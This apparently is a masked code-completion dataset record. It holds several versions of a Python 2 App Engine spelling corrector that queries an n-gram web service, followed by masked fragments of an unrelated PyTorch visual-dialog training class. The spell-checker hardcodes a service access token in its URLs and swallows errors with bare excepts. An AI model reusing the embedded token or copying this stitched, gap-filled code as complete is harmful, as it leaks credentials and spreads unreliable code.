urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read( ).split() for i in range(len(jps)): jps[i] = float(jps[i]) dictionary = dict(zip(wordlist, jps)) return sorted(dictionary.iteritems(), key=lambda entity: entity[1], reverse=True) class mainpage(webapp.RequestHandler): def get(self): global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL if len(self.request.get('m')): MONTH = str(self.request.get('m')) if len(self.request.get('d')): DATASET = str(self.request.get('d')) if len(self.request.get('ng')): NGRAM = str(self.request.get('ng')) if len(self.request.get('pp')): PROB = str(self.request.get('pp')) REQUESTURL = ( 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' + DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB + '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e') GENURL = ( 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' + DATASET + '/' + MONTH + '/' + NGRAM + '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e') query = str(self.request.get('q')) wordlist = query.strip().split() dictionary = dict() try: cquery = combination(wordlist, 0)[0] except: cquery = query try: wordlist = query.strip().split() squery = spacesplits(wordlist)[0] except: squery = query try: dictionary.update(getdictionary(wordlist)) except: dictionary.update({query: 0}) try: if query != cquery: dictionary.update(getdictionary(cquery.split())) except: dictionary.update({cquery: 0}) try: if query != squery: dictionary.update(getdictionary(squery.split())) except: dictionary.update({squery: 0}) finallist = dictionary.keys() self.response.headers['Content-Type'] = 'text/plain' try: result = getjp('', finallist, '') final = list() for i in range(len(result)): final.append(10 ** result[i][1]) printresult = normalize(final) for i in range(len(printresult)): self.response.out.write(str(result[i][0]) + '\t' + printresult[i] + '\n') except: self.response.out.write(query + '\t' + str(1)) class maintest(webapp.RequestHandler): def get(self): global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL self.response.headers['Content-Type'] = 'text/plain' self.response.out.write(REQUESTURL + '\n') self.response.out.write(GENURL) def getdictionary(wordelist): global MONTH, DATASET, NGRAM, PROB dictionaryy = dict() rpcs = [] for i in range(len(wordelist)): if i < 3: t = 0 else: t = i - 3 form_fields = {'word': wordelist[i], 'before': listtostr(wordelist[ t:i]), 'after': listtostr(wordelist[i + 1:i + 4]), 'm': MONTH, 'd': DATASET, 'ng': NGRAM, 'pp': PROB} formdata = urllib.urlencode(form_fields) rpc = urlfetch.create_rpc() url = 'http://timetest.forbackend.appspot.com/wordspellcheck' urlfetch.make_fetch_call(rpc, url, payload=formdata, method= urlfetch.POST) rpcs.append(rpc) resultts = list() for rpc in rpcs: result = rpc.get_result() resultts.append(result.content) dictionaryy[listtostr(wordelist)] = 0 for i in range(len(wordelist)): if resultts[i] == wordelist[i]: continue else: for j in range(i, len(wordelist) + 1): pp = listtostr(wordelist[:i] + resultts[i:j] + wordelist[j:]) dictionaryy[pp] = 0 return dictionaryy class splittest(webapp.RequestHandler): def get(self): query = self.request.get('q') wordlist = query.split() splitted = combination(wordlist, 0) self.response.out.write(splitted) def querylength(query): liste = query.split() counte = 0 for x in liste: if len(x) > 1: counte += 1 if counte == 0: return 1 else: return counte def listtostr(wordlist): string = '' for word in wordlist: string += word + ' ' string = string.strip() return string def normalize(problist): tot = 0 for x in problist: tot += x returnlist = list() for i in range(len(problist)): returnlist.append(str(round(problist[i] / tot, 3))) return returnlist <mask token> def main(): run_wsgi_app(application) <mask token>
import re import cgi import os import urllib import urllib2 from time import sleep from google.appengine.api import taskqueue from google.appengine.ext import webapp from google.appengine.ext.webapp.util import run_wsgi_app from google.appengine.ext import db from google.appengine.api import urlfetch from google.appengine.api import backends from google.appengine.api import logservice logservice.AUTOFLUSH_EVERY_SECONDS = None logservice.AUTOFLUSH_EVERY_BYTES = None logservice.AUTOFLUSH_ENABLED = False MONTH = 'jun09' NGRAM = '3' PROB = 'jp' DATASET = 'bing-body' REQUESTURL = ('http://web-ngram.research.microsoft.com/rest/lookup.svc/' + DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB + '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e') GENURL = ('http://web-ngram.research.microsoft.com/rest/lookup.svc/' + DATASET + '/' + MONTH + '/' + NGRAM + '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e') class lexicon0(db.Model): word = db.StringProperty(required=True) known = db.StringListProperty(indexed=False) def lexicon_key(lexicon_name=None): return db.Key.from_path('lexicon0', lexicon_name or 'default') def combination(wordlist, t): tempc = wordlist combinationqueryset = [listtostr(tempc[:i] + ['%s%s' % (tempc[i], tempc [i + 1])] + tempc[i + 2:]) for i in range(0, len(tempc) - 1)] cquery = listtostr(tempc) combinationqueryset.append(cquery) results = getjp1('', combinationqueryset, '') dictionary = dict(results) x = results.index((cquery, dictionary[cquery])) if t == 0: t = dictionary[cquery] if results[0][0] == cquery: return cquery, results[0][1], t else: dictionary = dict(results) x = results.index((cquery, dictionary[cquery])) y = list() for i in range(x): y.append(combinationqueryset.index(results[i][0])) y.sort(reverse=True) cache = wordlist for z in y: cache[z] += cache[z + 1] del cache[z + 1] return combination(cache, t) def spacesplits(wordlist): temps = wordlist query = listtostr(temps) strings = [] for i in range(len(temps)): for y in range(1, len(temps[i])): strings.append(listtostr(temps[:i] + list([temps[i][:y], temps[ i][y:]]) + temps[i + 1:])) strings.append(query) results = getjp1('', strings, '') if results[0][0] == query: return query, results[0][1] else: return spacesplits(results[0][0].split()) def getjp(before, wordlist, after): global REQUESTURL wordli = wordlist string = '' for x in wordli: string += before + ' ' + str(x) + ' ' + after + '\n' string = string.strip() jps = list() jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read( ).split() for i in range(len(jps)): jps[i] = float(jps[i]) / querylength(wordli[i]) dictionary = dict(zip(wordli, jps)) return sorted(dictionary.iteritems(), key=lambda entity: entity[1], reverse=True) def getjp1(before, wordlist, after): global REQUESTURL string = '' for x in wordlist: string += before + ' ' + str(x) + ' ' + after + '\n' string = string.strip() jps = list() jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read( ).split() for i in range(len(jps)): jps[i] = float(jps[i]) dictionary = dict(zip(wordlist, jps)) return sorted(dictionary.iteritems(), key=lambda entity: entity[1], reverse=True) class mainpage(webapp.RequestHandler): def get(self): global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL if len(self.request.get('m')): MONTH = str(self.request.get('m')) if len(self.request.get('d')): DATASET = str(self.request.get('d')) if len(self.request.get('ng')): NGRAM = str(self.request.get('ng')) if len(self.request.get('pp')): PROB = str(self.request.get('pp')) REQUESTURL = ( 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' + DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB + '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e') GENURL = ( 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' + DATASET + '/' + MONTH + '/' + NGRAM + '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e') query = str(self.request.get('q')) wordlist = query.strip().split() dictionary = dict() try: cquery = combination(wordlist, 0)[0] except: cquery = query try: wordlist = query.strip().split() squery = spacesplits(wordlist)[0] except: squery = query try: dictionary.update(getdictionary(wordlist)) except: dictionary.update({query: 0}) try: if query != cquery: dictionary.update(getdictionary(cquery.split())) except: dictionary.update({cquery: 0}) try: if query != squery: dictionary.update(getdictionary(squery.split())) except: dictionary.update({squery: 0}) finallist = dictionary.keys() self.response.headers['Content-Type'] = 'text/plain' try: result = getjp('', finallist, '') final = list() for i in range(len(result)): final.append(10 ** result[i][1]) printresult = normalize(final) for i in range(len(printresult)): self.response.out.write(str(result[i][0]) + '\t' + printresult[i] + '\n') except: self.response.out.write(query + '\t' + str(1)) class maintest(webapp.RequestHandler): def get(self): global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL self.response.headers['Content-Type'] = 'text/plain' self.response.out.write(REQUESTURL + '\n') self.response.out.write(GENURL) def getdictionary(wordelist): global MONTH, DATASET, NGRAM, PROB dictionaryy = dict() rpcs = [] for i in range(len(wordelist)): if i < 3: t = 0 else: t = i - 3 form_fields = {'word': wordelist[i], 'before': listtostr(wordelist[ t:i]), 'after': listtostr(wordelist[i + 1:i + 4]), 'm': MONTH, 'd': DATASET, 'ng': NGRAM, 'pp': PROB} formdata = urllib.urlencode(form_fields) rpc = urlfetch.create_rpc() url = 'http://timetest.forbackend.appspot.com/wordspellcheck' urlfetch.make_fetch_call(rpc, url, payload=formdata, method= urlfetch.POST) rpcs.append(rpc) resultts = list() for rpc in rpcs: result = rpc.get_result() resultts.append(result.content) dictionaryy[listtostr(wordelist)] = 0 for i in range(len(wordelist)): if resultts[i] == wordelist[i]: continue else: for j in range(i, len(wordelist) + 1): pp = listtostr(wordelist[:i] + resultts[i:j] + wordelist[j:]) dictionaryy[pp] = 0 return dictionaryy class splittest(webapp.RequestHandler): def get(self): query = self.request.get('q') wordlist = query.split() splitted = combination(wordlist, 0) self.response.out.write(splitted) def querylength(query): liste = query.split() counte = 0 for x in liste: if len(x) > 1: counte += 1 if counte == 0: return 1 else: return counte def listtostr(wordlist): string = '' for word in wordlist: string += word + ' ' string = string.strip() return string def normalize(problist): tot = 0 for x in problist: tot += x returnlist = list() for i in range(len(problist)): returnlist.append(str(round(problist[i] / tot, 3))) return returnlist application = webapp.WSGIApplication([('/mainpage', maintest), ('/maintest', mainpage), ('/split', splittest)], debug=True) def main(): run_wsgi_app(application) if __name__ == '__main__': main()
import re import cgi import os import urllib import urllib2 from time import sleep from google.appengine.api import taskqueue from google.appengine.ext import webapp from google.appengine.ext.webapp.util import run_wsgi_app from google.appengine.ext import db from google.appengine.api import urlfetch from google.appengine.api import backends from google.appengine.api import logservice logservice.AUTOFLUSH_EVERY_SECONDS = None logservice.AUTOFLUSH_EVERY_BYTES = None logservice.AUTOFLUSH_ENABLED = False MONTH = "jun09" NGRAM = "3" PROB = "jp" DATASET = "bing-body" REQUESTURL = "http://web-ngram.research.microsoft.com/rest/lookup.svc/"+DATASET+"/"+MONTH+"/"+NGRAM+"/"+PROB+"?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e" GENURL = "http://web-ngram.research.microsoft.com/rest/lookup.svc/"+DATASET+"/"+MONTH+"/"+NGRAM+"/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e" class lexicon0(db.Model): word = db.StringProperty(required = True) known = db.StringListProperty(indexed = False) def lexicon_key(lexicon_name=None): return db.Key.from_path('lexicon0', lexicon_name or 'default') def combination(wordlist,t):#argument t is to notify that it is the main query while using cobination for first time tempc = wordlist combinationqueryset = [listtostr(tempc[:i] + ["%s%s"%(tempc[i],tempc[i+1])] + tempc[i+2:] ) for i in range(0, len(tempc)-1)] cquery = listtostr(tempc) combinationqueryset.append(cquery) results = getjp1('',combinationqueryset,'') dictionary = dict(results) x = results.index((cquery,dictionary[cquery])) if (t==0): t = dictionary[cquery] if (results[0][0] == cquery): return (cquery,results[0][1],t) else: dictionary = dict(results) x = results.index((cquery,dictionary[cquery])) y = list() for i in range(x): y.append(combinationqueryset.index(results[i][0])) y.sort(reverse = True) cache = wordlist for z in y: cache[z] += cache[z+1] del cache[z+1] return combination(cache,t) def spacesplits(wordlist): temps = wordlist query = listtostr(temps) strings = [] for i in range(len(temps)): for y in range(1,len(temps[i])): strings.append(listtostr(temps[:i]+list([temps[i][:y],temps[i][y:]])+temps[i+1:])) strings.append(query) results = getjp1('',strings,'') if (results[0][0] == query): return (query,results[0][1]) else: return spacesplits(results[0][0].split()) def getjp(before,wordlist,after): global REQUESTURL wordli = wordlist string = '' for x in wordli: string += before+" "+str(x)+" "+after+"\n" string = string.strip() jps = list() jps = urllib2.urlopen( urllib2.Request(REQUESTURL,str(string))).read().split() for i in range(len(jps)): jps[i] = float(jps[i])/(querylength(wordli[i])) dictionary = dict(zip(wordli,jps)) return sorted(dictionary.iteritems(), key = lambda entity:entity[1], reverse = True) def getjp1(before,wordlist,after): global REQUESTURL string = '' for x in wordlist: string += before+" "+str(x)+" "+after+"\n" string = string.strip() jps = list() jps = urllib2.urlopen( urllib2.Request(REQUESTURL,str(string))).read().split() for i in range(len(jps)): jps[i] = float(jps[i]) dictionary = dict(zip(wordlist,jps)) return sorted(dictionary.iteritems(), key = lambda entity:entity[1], reverse = True) class mainpage(webapp.RequestHandler): def get(self): global MONTH,DATASET,NGRAM,PROB,REQUESTURL,GENURL if len(self.request.get('m')): MONTH = str(self.request.get('m')) if len(self.request.get('d')): DATASET = str(self.request.get('d')) if len(self.request.get('ng')): NGRAM = str(self.request.get('ng')) if len(self.request.get('pp')): PROB = str(self.request.get('pp')) REQUESTURL = "http://web-ngram.research.microsoft.com/rest/lookup.svc/"+DATASET+"/"+MONTH+"/"+NGRAM+"/"+PROB+"?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e" GENURL = "http://web-ngram.research.microsoft.com/rest/lookup.svc/"+DATASET+"/"+MONTH+"/"+NGRAM+"/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e" query = str(self.request.get('q')) wordlist = query.strip().split() dictionary = dict() try: cquery = combination(wordlist,0)[0] except: cquery = query try: wordlist = query.strip().split() squery = spacesplits(wordlist)[0] except: squery = query try: dictionary.update(getdictionary(wordlist)) except: dictionary.update({query:0}) try: if (query != cquery): dictionary.update(getdictionary(cquery.split())) except: dictionary.update({cquery:0}) try: if (query != squery): dictionary.update(getdictionary(squery.split())) except: dictionary.update({squery:0}) finallist = dictionary.keys() self.response.headers['Content-Type'] = 'text/plain' try: result = getjp('',finallist,'') final = list() for i in range(len(result)): final.append(10**((result[i][1]))) printresult = normalize(final) for i in range(len(printresult)): self.response.out.write(str(result[i][0])+"\t"+printresult[i]+"\n") except: self.response.out.write(query+"\t"+str(1)) class maintest(webapp.RequestHandler): def get(self): global MONTH,DATASET,NGRAM,PROB,REQUESTURL,GENURL self.response.headers['Content-Type'] = 'text/plain' self.response.out.write(REQUESTURL+"\n") self.response.out.write(GENURL) def getdictionary(wordelist): global MONTH,DATASET,NGRAM,PROB dictionaryy = dict() rpcs = [] for i in range(len(wordelist)): if i<3: t=0 else: t = i-3 form_fields = { "word": wordelist[i], "before": listtostr(wordelist[t:i]), "after": listtostr(wordelist[i+1:i+4]), "m": MONTH, "d": DATASET, "ng": NGRAM, "pp": PROB } formdata = urllib.urlencode(form_fields) rpc = urlfetch.create_rpc() url = "http://timetest.forbackend.appspot.com/wordspellcheck" #rpc.callback = create_callback(rpc) urlfetch.make_fetch_call(rpc, url, payload = formdata, method = urlfetch.POST) rpcs.append(rpc) resultts = list() for rpc in rpcs: result = rpc.get_result() resultts.append(result.content) #self.response.out.write(results) #self.response.out.write(wordee) dictionaryy[listtostr(wordelist)] = 0 for i in range(len(wordelist)): if resultts[i] == wordelist[i]: continue else: for j in range(i,len(wordelist)+1): pp = listtostr(wordelist[:i]+resultts[i:j]+wordelist[j:]) dictionaryy[pp] = 0 return dictionaryy class splittest(webapp.RequestHandler): def get(self): query = self.request.get('q') wordlist = query.split() splitted = combination(wordlist,0) self.response.out.write(splitted) def querylength(query): liste = query.split() counte = 0 for x in liste: if len(x)>1: counte += 1 if counte == 0: return 1 else: return counte def listtostr(wordlist): string = '' for word in wordlist: string += word+" " string = string.strip() return string #def create_callback(rpc): def normalize(problist): tot = 0 for x in problist: tot += x returnlist = list() for i in range(len(problist)): returnlist.append(str(round((problist[i]/tot),3))) return returnlist application = webapp.WSGIApplication([ ('/mainpage',maintest),#### the main speller is in main page web handler as i submitted maintest as the official submission i changed this ('/maintest',mainpage), ('/split',splittest)], debug = True) def main(): run_wsgi_app(application) if __name__ == '__main__': main()
[ 8, 16, 17, 21, 22 ]
9,913
4d1900c1a0a8d7639e0ec16fb0128fd8efc2e8a1
<mask token> class MVAN(object): <mask token> <mask token> <mask token> def _setup_training(self): if self.hparams.save_dirpath == 'checkpoints/': self.save_dirpath = os.path.join(self.hparams.root_dir, self. hparams.save_dirpath) self.summary_writer = SummaryWriter(self.save_dirpath) self.checkpoint_manager = CheckpointManager(self.model, self. optimizer, self.save_dirpath, hparams=self.hparams) if self.hparams.load_pthpath == '': self.start_epoch = 1 else: self.start_epoch = int(self.hparams.load_pthpath.split('_')[-1] [:-4]) self.start_epoch += 1 model_state_dict, optimizer_state_dict = load_checkpoint(self. hparams.load_pthpath) if isinstance(self.model, nn.DataParallel): self.model.module.load_state_dict(model_state_dict) else: self.model.load_state_dict(model_state_dict) self.optimizer.load_state_dict(optimizer_state_dict) self.previous_model_path = self.hparams.load_pthpath print('Loaded model from {}'.format(self.hparams.load_pthpath)) print( """ # ------------------------------------------------------------------------- # Setup Training Finished # ------------------------------------------------------------------------- """ ) def _loss_fn(self, epoch, batch, output): target = batch['ans_ind'] if 'disc' in self.hparams.decoder else batch[ 'ans_out'] batch_loss = self.criterion(output.view(-1, output.size(-1)), target.view(-1).to(self.device)) return batch_loss def train(self): self._build_dataloader() self._build_model() self._setup_training() evaluation = Evaluation(self.hparams, model=self.model, split='val') global_iteration_step = (self.start_epoch - 1) * self.iterations running_loss = 0.0 train_begin = datetime.utcnow() print( """ # ------------------------------------------------------------------------- # Model Train Starts (NEW) # ------------------------------------------------------------------------- """ ) for epoch in range(self.start_epoch, self.hparams.num_epochs): self.model.train() combined_dataloader = itertools.chain(self.train_dataloader) print(f'\nTraining for epoch {epoch}:', 'Total Iter:', self. iterations) tqdm_batch_iterator = tqdm(combined_dataloader) accumulate_batch = 0 for i, batch in enumerate(tqdm_batch_iterator): buffer_batch = batch.copy() for key in batch: buffer_batch[key] = buffer_batch[key].to(self.device) output = self.model(buffer_batch) batch_loss = self._loss_fn(epoch, batch, output) batch_loss.backward() accumulate_batch += batch['img_ids'].shape[0] if (self.hparams.virtual_batch_size == accumulate_batch or i == len(self.train_dataset) // self.hparams. train_batch_size): self.optimizer.step() if running_loss > 0.0: running_loss = (0.95 * running_loss + 0.05 * batch_loss.item()) else: running_loss = batch_loss.item() self.optimizer.zero_grad() accumulate_batch = 0 self.scheduler.step(global_iteration_step) global_iteration_step += 1 description = ( '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]' .format(datetime.utcnow() - train_begin, epoch, global_iteration_step, running_loss, self.optimizer .param_groups[0]['lr'])) tqdm_batch_iterator.set_description(description) if (global_iteration_step % self.hparams. tensorboard_step == 0): description = ( '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]' .format(datetime.utcnow() - train_begin, epoch, global_iteration_step, running_loss, self. optimizer.param_groups[0]['lr'])) self._logger.info(description) self.summary_writer.add_scalar('train/loss', batch_loss, global_iteration_step) self.summary_writer.add_scalar('train/lr', self. optimizer.param_groups[0]['lr'], global_iteration_step) self.checkpoint_manager.step(epoch) self.previous_model_path = os.path.join(self.checkpoint_manager .ckpt_dirpath, 'checkpoint_%d.pth' % epoch) self._logger.info(self.previous_model_path) if (epoch < self.hparams.num_epochs - 1 and self.hparams. dataset_version == '0.9'): continue torch.cuda.empty_cache() evaluation.run_evaluate(self.previous_model_path, global_iteration_step, self.summary_writer, os.path.join( self.checkpoint_manager.ckpt_dirpath, 'ranks_%d_valid.json' % epoch)) torch.cuda.empty_cache() return self.previous_model_path
<mask token> class MVAN(object): def __init__(self, hparams): self.hparams = hparams self._logger = logging.getLogger(__name__) np.random.seed(hparams.random_seed[0]) torch.manual_seed(hparams.random_seed[0]) torch.cuda.manual_seed_all(hparams.random_seed[0]) torch.backends.cudnn.benchmark = False torch.backends.cudnn.deterministic = True self.device = torch.device('cuda', self.hparams.gpu_ids[0] ) if self.hparams.gpu_ids[0] >= 0 else torch.device('cpu') setproctitle(hparams.dataset_version + '_' + hparams.model_name + '_' + str(hparams.random_seed[0])) def _build_dataloader(self): old_split = 'train' if self.hparams.dataset_version == '0.9' else None self.train_dataset = VisDialDataset(self.hparams, overfit=self. hparams.overfit, split='train', old_split=old_split) collate_fn = None if 'dan' in self.hparams.img_feature_type: collate_fn = self.train_dataset.collate_fn self.train_dataloader = DataLoader(self.train_dataset, batch_size= self.hparams.train_batch_size, num_workers=self.hparams. cpu_workers, shuffle=True, drop_last=True, collate_fn=collate_fn) print( """ # ------------------------------------------------------------------------- # DATALOADER FINISHED # ------------------------------------------------------------------------- """ ) def _build_model(self): print('\t* Building model...') encoder = Encoder(self.hparams, self.train_dataset.vocabulary) decoder = Decoder(self.hparams, self.train_dataset.vocabulary) print('Encoder: {}'.format(self.hparams.encoder)) print('Decoder: {}'.format(self.hparams.decoder)) if self.hparams.glove_npy != '': encoder.word_embed.weight.data = torch.from_numpy(np.load(self. hparams.glove_npy)) print('Loaded glove vectors from {}'.format(self.hparams.glove_npy) ) decoder.word_embed = encoder.word_embed self.model = EncoderDecoderModel(encoder, decoder) self.model = self.model.to(self.device) if -1 not in self.hparams.gpu_ids and len(self.hparams.gpu_ids) > 1: self.model = nn.DataParallel(self.model, self.hparams.gpu_ids) if 'disc' in self.hparams.decoder: self.criterion = nn.CrossEntropyLoss() elif 'gen' in self.hparams.decoder: self.criterion = nn.CrossEntropyLoss(ignore_index=self. train_dataset.vocabulary.PAD_INDEX) if self.hparams.training_splits == 'trainval': self.iterations = (len(self.train_dataset) + len(self. valid_dataset)) // self.hparams.virtual_batch_size else: self.iterations = len(self.train_dataset ) // self.hparams.virtual_batch_size def lr_lambda_fun(current_iteration: int) ->float: """Returns a learning rate multiplier. Till `warmup_epochs`, learning rate linearly increases to `initial_lr`, and then gets multiplied by `lr_gamma` every time a milestone is crossed. """ current_epoch = float(current_iteration) / self.iterations if current_epoch <= self.hparams.warmup_epochs: alpha = current_epoch / float(self.hparams.warmup_epochs) return self.hparams.warmup_factor * (1.0 - alpha) + alpha else: return_val = 1.0 if current_epoch >= self.hparams.lr_milestones[0 ] and current_epoch < self.hparams.lr_milestones2[0]: idx = bisect(self.hparams.lr_milestones, current_epoch) return_val = pow(self.hparams.lr_gamma, idx) elif current_epoch >= self.hparams.lr_milestones2[0]: idx = bisect(self.hparams.lr_milestones2, current_epoch) return_val = self.hparams.lr_gamma * pow(self.hparams. lr_gamma2, idx) return return_val if self.hparams.lr_scheduler == 'LambdaLR': self.optimizer = optim.Adam(self.model.parameters(), lr=self. hparams.initial_lr) self.scheduler = lr_scheduler.LambdaLR(self.optimizer, lr_lambda=lr_lambda_fun) else: raise NotImplementedError print( """ # ------------------------------------------------------------------------- # Model Build Finished # ------------------------------------------------------------------------- """ ) def _setup_training(self): if self.hparams.save_dirpath == 'checkpoints/': self.save_dirpath = os.path.join(self.hparams.root_dir, self. hparams.save_dirpath) self.summary_writer = SummaryWriter(self.save_dirpath) self.checkpoint_manager = CheckpointManager(self.model, self. optimizer, self.save_dirpath, hparams=self.hparams) if self.hparams.load_pthpath == '': self.start_epoch = 1 else: self.start_epoch = int(self.hparams.load_pthpath.split('_')[-1] [:-4]) self.start_epoch += 1 model_state_dict, optimizer_state_dict = load_checkpoint(self. hparams.load_pthpath) if isinstance(self.model, nn.DataParallel): self.model.module.load_state_dict(model_state_dict) else: self.model.load_state_dict(model_state_dict) self.optimizer.load_state_dict(optimizer_state_dict) self.previous_model_path = self.hparams.load_pthpath print('Loaded model from {}'.format(self.hparams.load_pthpath)) print( """ # ------------------------------------------------------------------------- # Setup Training Finished # ------------------------------------------------------------------------- """ ) def _loss_fn(self, epoch, batch, output): target = batch['ans_ind'] if 'disc' in self.hparams.decoder else batch[ 'ans_out'] batch_loss = self.criterion(output.view(-1, output.size(-1)), target.view(-1).to(self.device)) return batch_loss def train(self): self._build_dataloader() self._build_model() self._setup_training() evaluation = Evaluation(self.hparams, model=self.model, split='val') global_iteration_step = (self.start_epoch - 1) * self.iterations running_loss = 0.0 train_begin = datetime.utcnow() print( """ # ------------------------------------------------------------------------- # Model Train Starts (NEW) # ------------------------------------------------------------------------- """ ) for epoch in range(self.start_epoch, self.hparams.num_epochs): self.model.train() combined_dataloader = itertools.chain(self.train_dataloader) print(f'\nTraining for epoch {epoch}:', 'Total Iter:', self. iterations) tqdm_batch_iterator = tqdm(combined_dataloader) accumulate_batch = 0 for i, batch in enumerate(tqdm_batch_iterator): buffer_batch = batch.copy() for key in batch: buffer_batch[key] = buffer_batch[key].to(self.device) output = self.model(buffer_batch) batch_loss = self._loss_fn(epoch, batch, output) batch_loss.backward() accumulate_batch += batch['img_ids'].shape[0] if (self.hparams.virtual_batch_size == accumulate_batch or i == len(self.train_dataset) // self.hparams. train_batch_size): self.optimizer.step() if running_loss > 0.0: running_loss = (0.95 * running_loss + 0.05 * batch_loss.item()) else: running_loss = batch_loss.item() self.optimizer.zero_grad() accumulate_batch = 0 self.scheduler.step(global_iteration_step) global_iteration_step += 1 description = ( '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]' .format(datetime.utcnow() - train_begin, epoch, global_iteration_step, running_loss, self.optimizer .param_groups[0]['lr'])) tqdm_batch_iterator.set_description(description) if (global_iteration_step % self.hparams. tensorboard_step == 0): description = ( '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]' .format(datetime.utcnow() - train_begin, epoch, global_iteration_step, running_loss, self. optimizer.param_groups[0]['lr'])) self._logger.info(description) self.summary_writer.add_scalar('train/loss', batch_loss, global_iteration_step) self.summary_writer.add_scalar('train/lr', self. optimizer.param_groups[0]['lr'], global_iteration_step) self.checkpoint_manager.step(epoch) self.previous_model_path = os.path.join(self.checkpoint_manager .ckpt_dirpath, 'checkpoint_%d.pth' % epoch) self._logger.info(self.previous_model_path) if (epoch < self.hparams.num_epochs - 1 and self.hparams. dataset_version == '0.9'): continue torch.cuda.empty_cache() evaluation.run_evaluate(self.previous_model_path, global_iteration_step, self.summary_writer, os.path.join( self.checkpoint_manager.ckpt_dirpath, 'ranks_%d_valid.json' % epoch)) torch.cuda.empty_cache() return self.previous_model_path
<mask token> os.environ['CUDA_VISIBLE_DEVICES'] = '0,1' <mask token> class MVAN(object): def __init__(self, hparams): self.hparams = hparams self._logger = logging.getLogger(__name__) np.random.seed(hparams.random_seed[0]) torch.manual_seed(hparams.random_seed[0]) torch.cuda.manual_seed_all(hparams.random_seed[0]) torch.backends.cudnn.benchmark = False torch.backends.cudnn.deterministic = True self.device = torch.device('cuda', self.hparams.gpu_ids[0] ) if self.hparams.gpu_ids[0] >= 0 else torch.device('cpu') setproctitle(hparams.dataset_version + '_' + hparams.model_name + '_' + str(hparams.random_seed[0])) def _build_dataloader(self): old_split = 'train' if self.hparams.dataset_version == '0.9' else None self.train_dataset = VisDialDataset(self.hparams, overfit=self. hparams.overfit, split='train', old_split=old_split) collate_fn = None if 'dan' in self.hparams.img_feature_type: collate_fn = self.train_dataset.collate_fn self.train_dataloader = DataLoader(self.train_dataset, batch_size= self.hparams.train_batch_size, num_workers=self.hparams. cpu_workers, shuffle=True, drop_last=True, collate_fn=collate_fn) print( """ # ------------------------------------------------------------------------- # DATALOADER FINISHED # ------------------------------------------------------------------------- """ ) def _build_model(self): print('\t* Building model...') encoder = Encoder(self.hparams, self.train_dataset.vocabulary) decoder = Decoder(self.hparams, self.train_dataset.vocabulary) print('Encoder: {}'.format(self.hparams.encoder)) print('Decoder: {}'.format(self.hparams.decoder)) if self.hparams.glove_npy != '': encoder.word_embed.weight.data = torch.from_numpy(np.load(self. hparams.glove_npy)) print('Loaded glove vectors from {}'.format(self.hparams.glove_npy) ) decoder.word_embed = encoder.word_embed self.model = EncoderDecoderModel(encoder, decoder) self.model = self.model.to(self.device) if -1 not in self.hparams.gpu_ids and len(self.hparams.gpu_ids) > 1: self.model = nn.DataParallel(self.model, self.hparams.gpu_ids) if 'disc' in self.hparams.decoder: self.criterion = nn.CrossEntropyLoss() elif 'gen' in self.hparams.decoder: self.criterion = nn.CrossEntropyLoss(ignore_index=self. train_dataset.vocabulary.PAD_INDEX) if self.hparams.training_splits == 'trainval': self.iterations = (len(self.train_dataset) + len(self. valid_dataset)) // self.hparams.virtual_batch_size else: self.iterations = len(self.train_dataset ) // self.hparams.virtual_batch_size def lr_lambda_fun(current_iteration: int) ->float: """Returns a learning rate multiplier. Till `warmup_epochs`, learning rate linearly increases to `initial_lr`, and then gets multiplied by `lr_gamma` every time a milestone is crossed. """ current_epoch = float(current_iteration) / self.iterations if current_epoch <= self.hparams.warmup_epochs: alpha = current_epoch / float(self.hparams.warmup_epochs) return self.hparams.warmup_factor * (1.0 - alpha) + alpha else: return_val = 1.0 if current_epoch >= self.hparams.lr_milestones[0 ] and current_epoch < self.hparams.lr_milestones2[0]: idx = bisect(self.hparams.lr_milestones, current_epoch) return_val = pow(self.hparams.lr_gamma, idx) elif current_epoch >= self.hparams.lr_milestones2[0]: idx = bisect(self.hparams.lr_milestones2, current_epoch) return_val = self.hparams.lr_gamma * pow(self.hparams. lr_gamma2, idx) return return_val if self.hparams.lr_scheduler == 'LambdaLR': self.optimizer = optim.Adam(self.model.parameters(), lr=self. hparams.initial_lr) self.scheduler = lr_scheduler.LambdaLR(self.optimizer, lr_lambda=lr_lambda_fun) else: raise NotImplementedError print( """ # ------------------------------------------------------------------------- # Model Build Finished # ------------------------------------------------------------------------- """ ) def _setup_training(self): if self.hparams.save_dirpath == 'checkpoints/': self.save_dirpath = os.path.join(self.hparams.root_dir, self. hparams.save_dirpath) self.summary_writer = SummaryWriter(self.save_dirpath) self.checkpoint_manager = CheckpointManager(self.model, self. optimizer, self.save_dirpath, hparams=self.hparams) if self.hparams.load_pthpath == '': self.start_epoch = 1 else: self.start_epoch = int(self.hparams.load_pthpath.split('_')[-1] [:-4]) self.start_epoch += 1 model_state_dict, optimizer_state_dict = load_checkpoint(self. hparams.load_pthpath) if isinstance(self.model, nn.DataParallel): self.model.module.load_state_dict(model_state_dict) else: self.model.load_state_dict(model_state_dict) 